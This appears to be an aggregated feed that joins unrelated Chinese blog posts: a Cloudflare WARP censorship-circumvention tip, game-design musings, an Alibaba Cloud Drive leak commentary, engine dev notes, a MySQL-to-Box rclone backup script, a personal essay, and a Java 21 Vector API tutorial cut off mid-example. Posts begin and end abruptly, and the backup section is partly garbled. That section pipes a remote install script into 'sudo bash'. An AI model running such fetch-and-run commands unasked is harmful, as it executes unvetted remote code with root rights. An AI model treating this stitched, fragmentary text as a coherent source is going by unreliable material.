所以,如果你打算长期使用,那么可以静观后续cf的速度能否优化调整。我依然建议把他当做备选方案,毕竟cf这么树大招风,搞不好哪天又是连锅端了。还是Vmess协议目前当做主流比较好一点。
说个好玩的,我之前的一个梯子用的非常稳定非常好,但是有个朋友的外国朋友来中国,才发现中国除了北京的长城还有中国的“长城”。于是求助我,帮忙实现一些魔法上网,但我分享给这位外国友人我的梯子以后,不到2天。我的梯子就莫名巧妙不能使用了,貌似还域名临时封了。
现在重新更新了一些配置,又换了一个IP,目前稳定运行中。也不知道这是什么情况,莫非是用的人太多了。想想也不是不可能,现在我的这个配置紧凑的服务器上,大概有5-7个人在用,设备算下来的话,大概有30台这样。哈哈哈,高并发,压力山大。
感谢Cloudflare,感谢甲骨文,感谢这些还有那些不作恶的互联网公司。
Ps加一段,目前是苹果手机,安卓手机都可以使用,如果是Mac OS上面,客户端按照如下操作:
1⃣ [Advanced] -> 勾选 参加测试项目,升级到 BETA 版。
2⃣打开终端切换 MASQUE 协议:warp-cli tunnel protocol set MASQUE
3⃣检查切换结果:warp-cli settings | grep protocol
打个广告:想吃地道的牛肉干,地道的敖汉小米,可以联系我。牛肉干是0添加,纯手碳烤,敖汉小米更是纯本地粮食,品质好,联合国推荐的健康食品。更有很多敖汉本地性价比高的杂粮等,可以抖音搜索关注:蒙特敖汉特产。
推荐阅读:
这个月没有写什么程序。月初停下手头的开发工作,花了一周时间,作为 Indieplay 评委试玩了 200 多个参选游戏中的 100 多个。这个工作暂停之后,我就对前两个月对自己想做的游戏产生了许多疑惑。虽然写了不少代码,但仅限于基础玩法的外在功能:我实现了一整套类似边缘世界和缺氧里的工人系统,让小人可以在场景中活动起来,采集物资,建设建筑。让机器可以通上电运转起来,把原料加工为成品。但这些似乎只是一种模拟过程,而并非游戏。
我感觉自己对游戏到底想展现怎样的游戏体验没有清晰的认识。虽然在这篇采访中 也提到,(缺氧的最初设计是)“希望整个游戏运行在一个开放的(虽然简单的)模拟之上”。但我觉得模拟毕竟不是游戏,难以给玩家提供丰富的游戏体验。或者说,至少对于我这样的玩家,没有清晰的游戏目标和挑战是不行的。而且,实现一个丰富的游戏环境模拟面临的挑战我现在还无法评估,至少在当下,这不是我优先想做的东西。
我给游戏定下的基调是基地建设加生存挑战类型,或许应该有一些资源管理和 Roguelike 元素。工人管理或自动化元素是我比较喜欢的,但玩过几千小时类似游戏后,我感觉这些元素只是给予玩家体验的一种手段,并非目的。单独玩某个特定玩法,或许也能有趣,但体验却会大相径庭。
比如,我这个月花了不少时间玩 Shapez 2 。这是一个把自动化做到极限的游戏。玩家不再需要考虑能源、制造成本等问题,也没有敌对势力,只需要专心铺工厂,研究如何把工厂规模扩大并保持生产效率最大化。看起来, Factorio 关掉虫子后,也是在干这个事,但我玩下来体验其实是不同的。如果单纯想玩自动化规划,Shapes 显然更轻松有趣;但从游戏性上来说,我更喜欢 Factorio 一点。
我还玩了几天 The Crust 。这个游戏在我的愿望单里放了很久,一发布就开始玩了。我想这是一个 Factorio 和 Rimworld 的混合体。前半部分有很大的 Factorio 成分,玩到十几小时之后,又掺入了殖民地管理和工人分配的玩法。目前它处于 EA 阶段,感觉很多东西还不太成熟。仅就现在完成部分来说,我不是特别喜欢。它的自动化部分略显粗糙,殖民地管理部分又似乎不太完善。关键是交互体验非常糟糕(需要打磨),科技树的平衡更是一言难尽。而它又不像 Factorio 那样有一个坚实的游戏内核,可以通过 Mod 不断扩展玩法;玩起来的体验更依赖于设计好的场景来推动。
最近另一个让我略微失望的游戏是 Frostpunk 2 。一代是我最喜爱的游戏之一,这次 2 的豪华版可以提前 3 天玩游戏,我迫不及待就下单了。用了一天时间快速通关。玩这个游戏,有很大成分是我最近在思考生存类的基地建设游戏该怎样设计。如果没有一代珠玉在前,这也算是不错了。可惜玩过一,核心体验非常雷同。这是一个标准的由预设关卡驱动的基地建设游戏,无尽模式比较无趣。挑战预设剧本是我获得乐趣的主要来源。失败再挑战的循环,让我在一代中花了几十上百小时。但一旦理解了核心规则,抛开“通过玩家抉择来叙事”这个独特的体验,专心考虑如何提高各种数值,游戏不算太难:和一代一样,只需要快速发展科技,回避那些看起来符合短期利益的选择,不采用激进方案,就能达到最优解。这次的二代场面变得宏大,去掉了一代修房子安排工人的微观管理,让游戏体验变成了类似 Excel 表单中的各种进度条。这让我感觉体验不如一代。
和前面提到的 The Crust 一样,这个游戏也有超出同类游戏平均水平的画面质量。这类游戏拥有的高画质反而让我在玩之前就倒扣了期待分,我的这个直觉几乎每次都是对的。如果游戏画面无法帮助玩家更好的理解游戏内涵,那就毫无意义。比如 Frostpunk 2 ,玩家根本不需要关注里面的建筑细节,那么游戏画面精细的刻画建筑就是在浪费开发成本。玩家更关注每个区域的状态和功能,真不如直接给每个区块标记上颜色就够了。而现在默认的画面,看上去场景就是白茫茫一片,关键建筑,即使按住 Alt 凸显出来,还是没有区分度。甚至于,如果有个文本表单都比现在的华丽画面强(不至于让玩家找不到北)。
我最近几年对 Minimalist 极简游戏特别有好感。没有画面加成,极简风的游戏会把注意力放在游戏设计上。一旦核心玩法出众,就很难被掩盖。极简画风也不容易在游戏过程中分心,画面更注重表达游戏规则,学习成本通常更低。例如,我前几天完了一堆塔防游戏,发现最近的新作中,还是极简塔防 最为有趣。
最近玩的比较多的另一个有塔防元素的游戏是 Drill Core 。我感觉它受到了 Dome Keeper 的启发,但青出于蓝。目前在 steam 的评价中,有许多负面评价集中在挖掘过程里随机性带来的损失对体验的伤害。但我一口气玩了数十小时候,反而觉得那些是设计好的玩法,是游戏特点之一。例如挖掘过程中遇到的落石、喷火块、烦人的地龙,都可以通过合理的规划而避开。游戏似乎故意设计成无法具体对单个工人下指令,必须通过布置任务和设置优先级的方式这种间接的方式控制工人的行为。在充分了解规则后,这反而是一种挑战。只不过现在这种交互方式过于隐晦,而规则又不明确,导致有时体验比较糟糕。在微观管理为主的游戏中,玩家需要的其实是确定性规则,过于智能的 AI 未必是好事。这点我是在去年设计工厂类游戏中学到的:因为想为手机设计的缘故,局限于手机的不便交互,我们去掉了传送带,而使用更智能的无人机运营物流。智能规则导致了物流中的许多不确定性,反而没有传送带这种确定规则好玩了。
随机性带来的不确定性也未必是坏事。但围绕随机性的游戏体验应该是教会玩家做风险管理。例如我最喜欢的 Roguelike Rogue's Tale 就是这样一个风险管理游戏。我最近还发现了另一个被玩家批评随机性太强的游戏叫做 Derelict_Void 。我还没怎么玩,暂时不予评价。关注它是因为这个游戏似乎包含了我目前想做的游戏的各种元素:太空生存、基地建设、资源管理…… 看起来它受到更早的一个游戏 OutThere 启发:基于非常有限的资源探索宇宙,尽可能的活动下一个目的地。玩家需要非常小心的平衡氧气、水、有机物、燃料的使用,尽量养活合适数量的船员。没有和敌对势力的战斗(像 FTL 那样),但依然有极大的生存压力。
前几日,阿里云盘爆出漏洞,具体情况如下:
9月14日晚间,多名网友发帖称,阿里云盘出现bug,在阿里云盘的相册中,只要创建一个新的文件夹,在分类中选择图片,便加载出了大量其他用户的照片包括自拍、风景照、一家人旅游时的照片等。
而这还是被爆出来的,至于在此之前,是否有人已经长期在利用这个漏洞,获取更多其他用户的照片视频,就不得而知了。各大互联网公司所谓的“安全”真的也就是说说而已吧。虽然世界不是一个草台班子,但很多草台班子才能干出的事情,这些大公司也能干出来。
虽然说没有绝对安全的系统,但发生这件事,我都不知道怎么吐槽了。不幸中的万幸是,我已经及时的再把自己的数据存回本地,避免使用这些互联网公司的类似云端相册的功能。虽然还没办法杜绝云端备份,但也许就在不久的以后吧。至少还要有其他2个地方,让我能轻松的做到本地备份,然后才能彻底切断云端备份。
分享交流一下我现在的相册备份方案:基于本地搭建的Mtphoto服务,自动同步手机相册到本地服务器,同时再使用syncthing把本地服务器的数据同步到另一台windows电脑上一份,再把win电脑的数据使用同步盘的方式,同步到阿里云盘的数据文件夹。
Mtphoto的数据是核心,其他的是同步备份或者异步备份。这样也算安心一些,虽然还是侥幸心理,但也实属无奈,过一阵打算老家,买一台树莓派,重新搭建另一个备份服务器,就可以考虑是时候把阿里云停用了。
之前,我所担心的是数据泄露,虽然这也属于不可抗力,但终究还是能再大规模泄露的时候能有一些侥幸,毕竟如此庞大恐怖的数据量,从里面筛选有用的内容,也不亚于泳池里捞针(哈哈哈哈)。但有了Ai以后,这件事情变得不一样了。
这些网盘服务想盈利,就要用户付费。花钱买更多的空间,更快的下载速度,以及其他的特权,那么不花钱的,就只能想办法节省存储空间,用更多时间去下载文件。或者还有一些其他如广告特权,联名会员卡等增值变现服务。其他变现手段比较难,所以大多数网盘业务都不是这些互联网大公司的重点关照对象。
但有了Ai,这些用户数据就是最好最佳的数据养料。大把的视频图片,就这么源源不断的主动送上门,通过这些数据,Ai的模型进化会越来越快,分析能力和准确度也会不断提高。真的是比你还了解你。
那么网盘业务就不只是卖会员来养活自己了,而是把用户的数据当做自己的护城河当做自己的养料。真正实现了羊毛出在猪身上牛来买单,用户以为自己白嫖了网盘服务,实际上自己就成了案板上的羔羊,成了园子里的韭菜,随时待宰,随时被收割。
更细思极恐的是,那些已经被泄露的照片和视频,也会被黑客拿去训练Ai,同样也能当做养料。而因为本身就突破了法律道德的底线,能做的事情会更多,获得的收益和利益会更大更多。
不管互联网公司如何的信誓旦旦保证用户隐私,我劝各位,都别信。永远不去盲目的相信人性的善,这样的坑,我们踩得还少吗?甚至有些公司对外的公开发言,都不藏着掖着了,还大言不惭的说,用户不在乎自己的隐私,用户为了一些便捷是愿意“出卖”自己的隐私的。
当我们把一切数据都放在云端,就意味着我们在未来的某一天,会花费巨大的成本把曾经那么轻松传上去的数据“搬”回来。谨慎使用云服务,做好数据安全,保护自己的隐私。
推荐阅读:
暑假去项目实训了,天天来回30公里,也是骑了两年的从我妈手上拿到的老爷本田车终于支撑不住了,油耗高不说,一个星期五天有三天把我扔路上了,于是忍无可忍之下也是萌生了买车的想法。一方面,买车是全力倚父母的结果,所以预算不能太高,只能控制在15k以内。
我独自开发游戏已经有三个月了。这三个月里,我是 Ant Engine 唯一活跃用户,这是一个很好的机会来挖掘对于一个独立游戏开发者来说,引擎哪些地方有缺失。现阶段,我还是希望把精力放在游戏开发上多一些,所以引擎方面恰恰够用就好。虽然,完善引擎这件事做起来会更愉快,因为这些工作对于我比较顺畅,容易想清楚,游刃有余;而一个人开发游戏,更多的时候是手跟不上心而产生的烦闷。
我还是想挑战一下自己,把游戏设计好,实现好。引擎方面的事情,把想到的东西先记录一下。或许完成手头的游戏项目,沉淀更多,再回头做引擎,愉悦感更强一些。
首先,可视化编辑器 对我来说不重要。所以暂时就不维护了。我更需要的是一些快速验证眼下游戏设计中想法的功能,这些就在游戏 demo 中顺带实现就好,看起来没必要放在编辑器里。这和现阶段没有美术参与也有关系。因为对我自己做独立游戏来说,我不在乎开发进度,先做美术还是后做美术,区别不是很大。本来我自己就喜欢传统 roguelike ,几个 ascii 字符就能脑补所有的美术表现。我想,游戏原型阶段就不需要美术在编辑器里做创作了,用一些几何体就够用。这也是为什么我在三个月前最先完善的就是 Ant 引擎中预制几何体 这个功能的原因。
我在使用 Ant 引擎的时候,发现因为缺乏具体 API 文档而只能不断的阅读源代码(毕竟有很多模块不是我自己动手写的,无法全部了然于心)。而且并非每个模块的设计都满意,这让我经常有修改引擎的冲动。做了一段时间后,我找到一个方法来解决这个开发问题。我可以额外再做一个精简版的框架,按目前开发游戏的需求,从最基本的功能做起,逐步完善。这样就能隔绝引擎已经做好的部分:好用的模块直接做一些浅封装,有问题的部分可以多花些精力做不侵入(破坏老代码)的改进。
本来根据游戏类型的不同,使用引擎的方式就会有很大差异。我希望可以有不同的这样的框架针对具体类型游戏做二次封装。这样,在二次封装上写游戏的花,后面就可以更放心的裁剪底层实现。我更希望让 ECS 框架还原成更原始的设计:面向数据,避免添加太多的辅助模块。
最近还有许多工作是在 UI 上。我对 RmlUI 的方案还是比较满意的。毕竟类 web 的开发有极大的用户基础,各种边角被人打磨过。不过目前的一些实现细节,尤其是 UI 层和游戏层的消息通讯部分存在设计问题。
现在 UI 层和游戏渲染(以及逻辑)处于两个隔离的 Lua VM 中,跑在不同线程上,依赖消息通讯交换数据。引擎简单的封装了消息通讯过程,提供了 RPC 方法。但从游戏逻辑倒 UI 阻塞 RPC 调用,直接使用的话必定产生死锁。这是因为游戏逻辑通常放在 ECS 的一个 system stage 中执行,而处理 UI 层的 RPC 请求在另一个 stage 。为了回避这个死锁问题,需要小心的利用 ltask 的一些异步功能。我做了一些简单的封装后,情况好了一点。这个封装抽象出一个 model 对象,自动在两个层之间做数据同步(只同步差异部分)。在游戏逻辑这边设置 model 的状态,就可以直接在 UI 上展示出来。这个封装还很粗糙,需要我自己多做一些 UI 模块后再改进。
由此,我猜想 ECS 里面可能还需要提供一个 async 的 stage 可能好点。现在的 stage 里如果调用了 ltask.call ,就完全塞死当前帧了。加一个 async 的 stage ,让这里 yield 出去的流程,在下一帧回来这个stage 继续做。这样也可以取代 instance 创建的 onready callback 。只需要把一些消息处理过程放在 async stage 就可以更自然的写。前几个月就做过一点类似的尝试 ,感觉还没想好,暂时不打算把这个特性加到引擎中。
动画模块 是目前引擎比较欠缺的部分。只是我在做游戏原型时还用不上。如果未来做动作向的游戏,这方面的需求就更大了。这个的开发优先级比较低,等实际用起来再解决。
材质系统 看起来更值得改进。尤其是我在开发过程中,遇到一个简单的需求:运行时把一个对象改为半透明渲染,折腾了我好几天。最后我还是采用了去年开发游戏过程中使用的方案,为编辑器做好的预制件数据打上 patch ,为每个预制件预生成一个半透明材质的方式。然后在运行时根据需要,在不透明和半透明预制件中做选择(因为现在引擎不支持运行时给对象赋予完全不同的材质)。
说起这个半透明材质问题,我认为本质上还是性能优化问题导致的。理论上,我们可以让所有的对象都是半透明材质,把透明度调为 1.0 ,它就呈现出不透明的状态。调成 0 就消失了。但是,对于渲染来说,不透明和半透明(以及不显示)性能上有本质差别,这会导致不透明的 3d 物体和半透明 3d 物体底层渲染管线都有极大的差别,远非改个材质参数这么简单。或许在 2D 引擎中,这个差别并不大,但对开发者来说,最好不管是 2D 管线还是 3D 管线,都不必在意实现的困难,用起来设置个参数就可以了。这也是引擎要极力解决的问题。在这个(半透明)问题上,我和引擎开发团队的同学讨论了两个晚上,有了一些新的想法。以后有时间我想重构(并简化)相关底层代码。
目前,我不打算在手机平台上开发游戏。这存粹是个人对游戏体验的喜好:我对在触摸屏手机上玩游戏完全失去了兴趣。那么 Ant Engine 的最大努力:直接在开发机上对手机设备上的游戏损失调试,看起来意义就不大了。未来我想把为了实现这个特性而给引擎带来的复杂度做一些简化。尤其是远程调试、VFS 同步、触摸屏支持等。同时,可以增强许多 PC 开发上的体验:尤其是美术资源自动编译这块。我希望可以尽量减少额外的编译环节,让引擎能直接加载更多的通用格式的文件(图片、模型等)。
尤其是材质编译模块,是目前引擎中最为复杂的模块之一。我认为设计也是有问题的(不应该如此复杂)。这一块在上个月开发团队里做了一个晚上的讨论,改进方向下次专门写一篇 blog 介绍。
另外,还有一个大块的计划是重新用 Vulkan 编写 gfx 层,而不再使用 bgfx 这种跨平台方案。这也是后话了。相较用 Vulkan 实现新的 gfx 层,我更希望有机会好好做一套 2D 管线(以及独立的 2D gfx 层)。毕竟 2D 的 gfx 层要简单的多,可以把重心放在如何提供更好的(独立)游戏开发体验上。
想做的事情太多,一件件来吧。
Just for fun
最近在 blog 上新增了 2 个页面,见导航栏中的 delicious 和 memory。由于用到了 mysql,考虑到数据安全,还是得经常备份。之前就想试用 Rclone,所以这次就选择用 Rclone+box.com 的组合。有个缺点就是 box 的认证授权只有 60 天,每 2 个月就要手动刷新下 token。(看官方文档介绍,有的云存储 token 过期时间会很长如 pikpak)。
#!/bin/bash
# 定义MySQL数据库信息
MYSQL_USER="xxxxxxxx"
MYSQL_PASSWORD="xxxxxxxx"
#定义备份的目录和创建此目录。用-p参数避免已存在同名文件夹
BACKUP_DIR="/tmp/backup"
REMOTE_NAME="remote"
mkdir -p $BACKUP_DIR
# 定义备份文件的文件名
TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S")
BACKUP_FILE="$BACKUP_DIR/backup_$TIMESTAMP.sql"
# 备份多个数据库
mysqldump -u $MYSQL_USER -p$MYSQL_PASSWORD --databases delicious memory > "$BACKUP_FILE"
# 使用rclone上传备份到远程
rclone copy "$BACKUP_FILE" "$REMOTE_NAME:/backup/linode"
sudo -v ; curl https://rclone.org/install.sh | sudo bash
# Linux 和 MacOS 用户可以在本地电脑上使用 SSH 隧道将无头盒端口 53682 重定向到本地计算机,方法是使用以下命令:
# 命令中的username@remote_server 根据实际情况修改
ssh -L localhost:53682:localhost:53682 username@remote_server
#开启交互式配置流程。可以全部都选 default
rclone config
Use auto config?
回答 Y 问题。Use web browser to automatically authenticate rclone with remote?
* Say Y if the machine running rclone has a web browser you can use
* Say N if running rclone on a (remote) machine without web browser access
If not sure try Y. If Y failed, try N.
y) Yes (default)
n) No
rclone
了。#列出 Box 顶层的目录
rclone lsd remote:
#列出 Box 中的所有文件
rclone ls remote:
#将本地目录复制到名为 backup 的 Box 目录
rclone copy /home/source remote:backup
#路径可以根据需要深度,例如 remote:directory/subdirectory
crontab -e
,编辑一条新的定时任务。每 15 天自动备份上传到云存储。0 3 1,15 * * /bin/bash /root/backup/backup_linode_mysql.sh
by yangpeiyuan (i@yangpeiyuan.com) at August 30, 2024 02:40 PM
当我用年龄计算器计算年龄的时候,计算器告诉我我的人生已经度过33%。
今年六月底我也工作两周年了!6月写的工作相关的博文一直没有写完,准备这次年中绩效沟通完后再去总结一下,应该有一些不同的感受,到时候再和大家分享一下。
[scode type="share" size="simple"]
[/scode]
今年最大的变化,就是我的身体终于开始慢慢变好了一些。如果看过「时光机」会知道从去年开始一直胸闷气短难受的不行。最痛苦的时候觉得呼吸也是一件奢侈的事情。在今年3月、4月份的时候我还在医院去检查,到了五月份竟然慢慢好了。你可能好奇病因是什么,以及怎么变好的。最早的胸闷后面逐步发展为嗳气,就是经常打嗝,严重的时候似乎一天要打100多次...伴随着吃完后消化变慢,到后面似乎打嗝就变成习惯了,胸闷了打嗝似乎就能缓解一些。
直到现在我仍然不知道病因,心脏、肺、胃都查了,也开了一些抗菌、增强胃动力、抑制胃酸的药都吃了不少,有时好一点点而后又继续往复。这甚至让我绝望。我在网上自己搜“嗳气缓解”的方法,其中一条是当想打嗝的时候就深呼吸,让气流下行。同时我开始调整作息,从1点半~2点之间休息调整到1点之前休息。慢慢的打嗝的症状好了不少。个人感觉可能是医生说的“功能性胃病”,即本身没有病变,但是各种原因导致消化道不适,包括这种习惯性的打嗝。(本文不提供任何医疗参考建议,仅仅是个人经验,请谨遵医嘱!)
[comment coid=10721/]
曾经在上班的路上,无数次的想,只要让我的病好,我什么也追求了。工作带给人无穷无尽的名利在身体健康面前不值一提。现在终于好些了,因此我希望我能记住自己曾经的承诺,不要重蹈覆辙。
6月份开始在闲暇时间做一些自己感兴趣的事情了,比如看“木鱼水心” up主讲解的《水浒传》,这本小时候看过的书,但现在具体的情节都已经忘却的差不多了。后来又看讲解《史记》,感觉讲得非常有趣。后来因为木鱼水心的《星空读书会》推荐了《蛤蟆先生去看心理医生》这本书,就买来书来看。之前一直对心理学有一些兴趣,但是都没有沉下心来看。因此我决心找到感兴趣的书买来实体书去看。
《蛤蟆先生去看心理医生》这本书给了我非常大的触动,我相信很多心里敏感的人都会对其中的一些观点感到耳目一新,从而得到启发。比如书中描述了所处的三种状态:儿童、成人和父母自我状态。这帮助我们理解很多自己以及他人的行为。比如自己面对强势的人会显的害怕和顺从,这些是儿童自我状态下不自主的,无意识的反应,即我们并没有选择作出什么反应,而是过往儿童经历让我们不自觉的就作出了这样的反应。只有意识到这一点,转而切换到成人状态下才能自己选择自己的行为。同时父母自我状态也会解释有些人为什么喜欢批判他人,这是因为他们在自己父母身上评判世界的价值观从而对他人进行评判。
书中还有一个观点相信很多人都会触动。每个人都会有父母自我状态,会批判别人。如果从小在一个严厉环境下成长的人可能不会批评其他人,那么他会批判谁呢?是的,他会一而再再而三的批判自己。了解这一点后,似乎能理解我们为什么无法克制的经常在自责。“没有一种批判比自我批判更强烈,也没有一个法官比我们自己更严苛”。
这本书看完后,我继续买来《非暴力沟通》这本书来看。其实这本书很早一直听过,但是从来没有看过。如果你的原生家庭(虽然我有些讨厌“原生家庭”这个词)经常会有争吵,你会好奇为什么自己的家庭会如此糟糕。这本书相信会给我们一些原因。每个人都不喜欢被批判,而我们日常最习以为常的事情就是评判他人,尤其是我们身边最亲近的人。《非暴力沟通》的有些观点和《蛤蟆先生去看心理医生》也是契合的。比如“生气”这一行为对我们的深刻影响。比如我们应该对自己的情绪负责,而《非暴力沟通》进一步的解释了为什么我们的情绪是来自于自身的需要没有被满足,而不是他人的行为。从这一观点上,可能更好帮助我们关注我们尚未被满足的部分,而不是指责他人!
这两本书对我影响很大,我想其中的一些观点需要我更长时间的理解和持续不断的践行才能更好吸收这些观点。同时发现读书这件打发时间的方式带给我的感受是和看视频远远不同的。看书会带来思考,但不会像工作那般绞尽脑汁,彷佛是让自己的思维更加清晰。看书过程中也会发现一些自己已经从生活中学到的观点,但从书中看到会感受到一种更被理解的感受,同时自己尚未弄清的事情在书中找到答案也会有一种豁然开朗的感受。
回过头来再说说压力。我第一次因为胸闷去医院的时候,医生问:“你最近压力大吗?”,我愣了一下,似乎从来没有人问我“压力大吗?”,以至于我不知道“压力大”是什么表现。我回答应该压力不大吧。我想有一些人可能和曾经我一样,习惯了在在一个压力大的环境后,以至于从来没有察觉到。今年早期的时候,我就会为绩效非常焦虑。我害怕拿到一个不符合预期,一个差的绩效。同时因为每天工作非常紧绷,工期也都比较紧。在下班的路上,有的时候莫名其妙很容易被触动,特别想放声大哭,放声大喊!而这一症状,实际上在我入职第一年的时候就有时会出现,而我从来没把这些异常行为和压力大挂钩,只是认为我情绪波动或者太矫情罢了!压力大还有非常显著的特征是,下班后什么也不想干。有人说,这不就是你太懒了吗,和压力大又什么关系!大错特错!一个正常的人,如果工作内容充实但不累,工作有成就感的人,下班后会是一件非常愉快的事情。而懒惰背后表明已经深处在一种烦心但是无力推动变化的境地。
如果问我怎么减轻压力,也许我也回答不好。因为我也是“被动”减少了工作压力。4月份的时候,公司开始裁员,之前的一些需求要么是优先级降级,要么是暂停了。人员变动、方向调整也直接导致了后续要做的事情变少了。与此同时,人员“精简”确实沟通成本也更低一些。一些事情之前要好几个人拍板,现在自己就可以决策...在这之后虽然工作的事情仍然不少,但是相比去年,整体紧张程度已经降低不少。这些是客观因素。主观因素上,发现一点是,工作时长越长,工作效率总是越低。毫无例外!因为我们不是机器,需要停下来思考,理清要做的事情,分清优先级。因此我刻意的提前下班时间,与此同时起床时间更早。虽然整体上工作时长是相近的,调整后的工作体验是更好的了。
会发现一点是,一个人感到累的时候,实际上是丢失了对生活的掌控权,即无法让生活按照自己想法向更好的方向继续,因此我们就会心生懈怠,厌倦,痛苦等负面情绪。想要扭转这一点靠精神鼓励我觉得是不够的,就好像你和一个抑郁的人说振作起来啊!情绪只是你内心的自我选择!我想他难以做到。只能在理智状态下才能理解这些道理,同时基于这些观点让自己的理智能够继续维持下去。因此如果你已经陷在负面情绪无法自拔,我觉得一个尝试是下定决心做一个大的生活变化。刚开始会发现没什么起色,但是这种自我想要改变的勇气和决心会最终帮助我们!而且人的情绪是起伏波动,不要认为是之前努力的徒劳无功,在正常不过的!这些也写给未来也许情绪很差的自己吧。
最后谈一谈恋爱感情相关。我到现在也忘不了一点是,当年在考研数学考试的考场上,距离考试结束还有四十多分钟,我还有好几道大题没做,而且前面也要好几题卡住,没有思路。正当我汗流浃背的时候,考场上已经陆续有好几人提前交卷了!那一刻,我甚至有种放弃的感觉,难道就这样要结束了吗。站在上帝视角,会觉得神经!别人交卷和你又什么关系?社会化的训练,让我们基本上很难摆脱他人对我们想法、行为的影响。人生的每个阶段都像是一场考试,除了中考、高考、研究生考。还有工作、恋爱、结婚、生子、教育、养老。我们无时无刻的不在和身边的同龄人校准,这是非常痛苦的行为,但其实又是一个非常可笑的行为,因为这一切基于每个人的机会、成长环境、身体素质等等因素都类似情况下才有比较的前提条件。但实际上每个人差异巨大。
[comment coid=10797 /]
我似乎说跑题了,同事中,同学中,有恋爱好几年了,也有结婚了、买房了,生娃了。我姐端午的时候也结婚了,而后也在考虑买房的事宜。仅仅对我个人来说,我不害怕“落后了”,“掉队了”。但是就像大部分的父母一样,他们身上有定时的旋钮开关一样,等他们的孩子到了结婚的年龄,他们就疯狂希望他们的孩子快点找到对象,买房、结婚。从朴素的价值观来说,按照大部分人的时间走过一生总是最稳妥的方式。我如此抗拒,是担心我现在是否有和另一个人建立亲密关系的能力。当更年轻的时候,我也许不会考虑到这一点。但意识到已经过了“见色起意”的阶段后(不是对外貌不感兴趣了,而是了解外貌并不能维持两个人真正长期对彼此的好奇),和另一个长久的保持联系,保持理解,保持好奇,我觉得是一件复杂和困难的事情。看过“罗翔老师”的一个视频,讲的是告诫我们去爱“具体的人”,而非“抽象的人”。网络上,我们期盼爱情,现实上和另一个人呆在一起,只能无聊的各自玩手机。我们真的对对方感兴趣吗?也许在现实对另一个人产生好奇、兴趣的时候,对这一点有更深的认识。但是不论如何,“生活就像一场考试,不要因为别人提前交卷而心烦意乱,随便答题”。
到这里,本文就该结束啦。最后以《蛤蟆先生去看心理医生》中苍鹭医生对蛤蟆说的一句话结尾吧。
苍鹭把蛤蟆送到门口,告别之际,他转身对蛤蟆说:“蛤蟆,我认为你正在进步,虽然还有很多工作待完成,但你已经在学习的道路上站稳脚跟了,从此再也不会走回头路了。”
在 上一篇笔记 和 上上一篇笔记 中,我们学习了 Java 21 中前 10 个重要特性:
switch
接下来,我们将继续学习最后 5 个特性:
向量 API 最初由 JEP 338 提出,并作为孵化 API 集成到 Java 16 中,在 Java 17 到 20 中,又经过了 JEP 414、JEP 417、JEP 426、JEP 438 四次的孵化,这次在 Java 21 中,已经是第六次孵化了。
向量 API 又被称为 Vector API,要注意,这里讲的并不是 Java 中的 Vector 集合类,而是一种专门用于向量计算的全新 API。尽管这个 API 还在孵化期,并没有正式发布,但是这项技术很值得我们提前学习和了解,因为这项技术代表了 Java 语言发展的一个重要方向,在未来一定会有着重要的影响。随着生成式人工智能的发展,Embedding 技术也如日中天,它将各种类型的数据(如文本、图像、声音等)转换为高维数值向量,从而实现对数据特征和语义信息的表示。Embedding 技术在个性化推荐、多模态检索和自然语言处理等领域中发挥着重要作用,而这些场景都离不开向量计算。
向量是数学和物理学中的一个基本概念,具有大小和方向两个属性,比如物理学中的力就是向量。向量可以有多种不同的表示方式:
(x, y)
,空间直角坐标系中的向量可以记为 (x, y, z)
,多维空间以此类推;此外,向量也可以使用矩阵来表示;和向量这个概念相对应的,还有标量、矩阵、张量等概念,这几个概念可以代表不同的维度,一般用点线面体来类比:
标量就是一个数字,在 Java 中通常可以表示为一个整数或浮点数等,我们所熟知的算术运算基本上都是作用于标量之上的,比如下面的代码对 a
和 b
两个标量求和:
int a = 1;
int b = 1;
int c = a + b;
如果将 a
和 b
换成向量,也就是数组,该如何求和呢?最简单的方法是使用 for
循环依次相加数组中对应的元素:
int[] a = new int[] {1, 2, 3, 4};
int[] b = new int[] {1, 2, 3, 4};
int[] c = new int[4];
for (int i = 0; i < a.length; i++) {
c[i] = a[i] + b[i];
}
很显然这不是什么高明的做法,仔细观察上面的代码就会发现,对于数组中每个元素的相加是互不影响的,那么我们能不能并行计算呢?一种有效的解决方法是使用 并行流(Parallel Stream):
IntStream.range(0, a.length)
.parallel()
.forEach(i -> c[i] = a[i] + b[i]);
另一种解决方法就是我们将要学习的 向量 API(Vector API):
IntVector aVector = IntVector.fromArray(IntVector.SPECIES_128, a, 0);
IntVector bVector = IntVector.fromArray(IntVector.SPECIES_128, b, 0);
IntVector cVector = aVector.add(bVector);
注意,由于向量 API 并没有正式发布,运行时需要手动加上
jdk.incubator.vector
模块:$ java --add-modules jdk.incubator.vector VectorDemo.java
向量 API 定义了专门的向量类,比如这里的 IntVector
,并提供了 fromArray
方法方便我们将数组转换为向量,然后再通过 aVector.add(bVector)
执行两个向量的加法运算。
除了加法运算,向量 API 还提供了一组方法来执行各种其他的向量计算:
算术运算(Arithmetic Operations)
vector1.add(vector2)
vector1.sub(vector2)
vector1.mul(vector2)
vector1.div(vector2)
逐元素操作(Element-Wise Operations)
vector.abs()
vector.neg()
vector.sqrt()
vector.exp()
vector.log()
规约运算(Reductions)
vector.reduce(VectorOperators.ADD)
vector.reduce(VectorOperators.MIN)
vector.reduce(VectorOperators.MAX)
vector.reduce(VectorOperators.ADD).mul(1.0 / vector.length())
逻辑运算(Logical Operations)
vector1.and(vector2)
vector1.or(vector2)
vector.not()
比较操作(Comparisons)
vector1.eq(vector2)
vector1.lt(vector2)
vector1.compare(VectorOperators.GT, vector2)
使用向量 API 来执行向量计算,不仅代码精简,容易理解,而且它还有另一个好处,那就是性能提升。尽管使用并行流也能提升一定的性能,但是并行流和向量 API 是两种完全不同的优化技术,前者使用多线程在不同的 CPU 核上并行计算,而后者通过 SIMD 技术,在单个 CPU 周期内对多个数据同时执行相同操作,从而达到并行计算的目的。
SIMD(Single Instruction, Multiple Data,单指令多数据) 是一种并行处理技术,它的核心思想是将一个控制器与多个处理单元结合在一起,使得这些处理单元可以针对不同的数据同时执行相同的操作,简单来说就是一个指令能够同时处理多个数据。这与传统的 SISD(Single Instruction, Single Data,单指令单数据) 形成对比,在后者中,一个指令只能处理一个数据。
在上面那个向量求和的例子中,我们先是使用 for
循环实现:
for (int i = 0; i < a.length; i++) {
c[i] = a[i] + b[i];
}
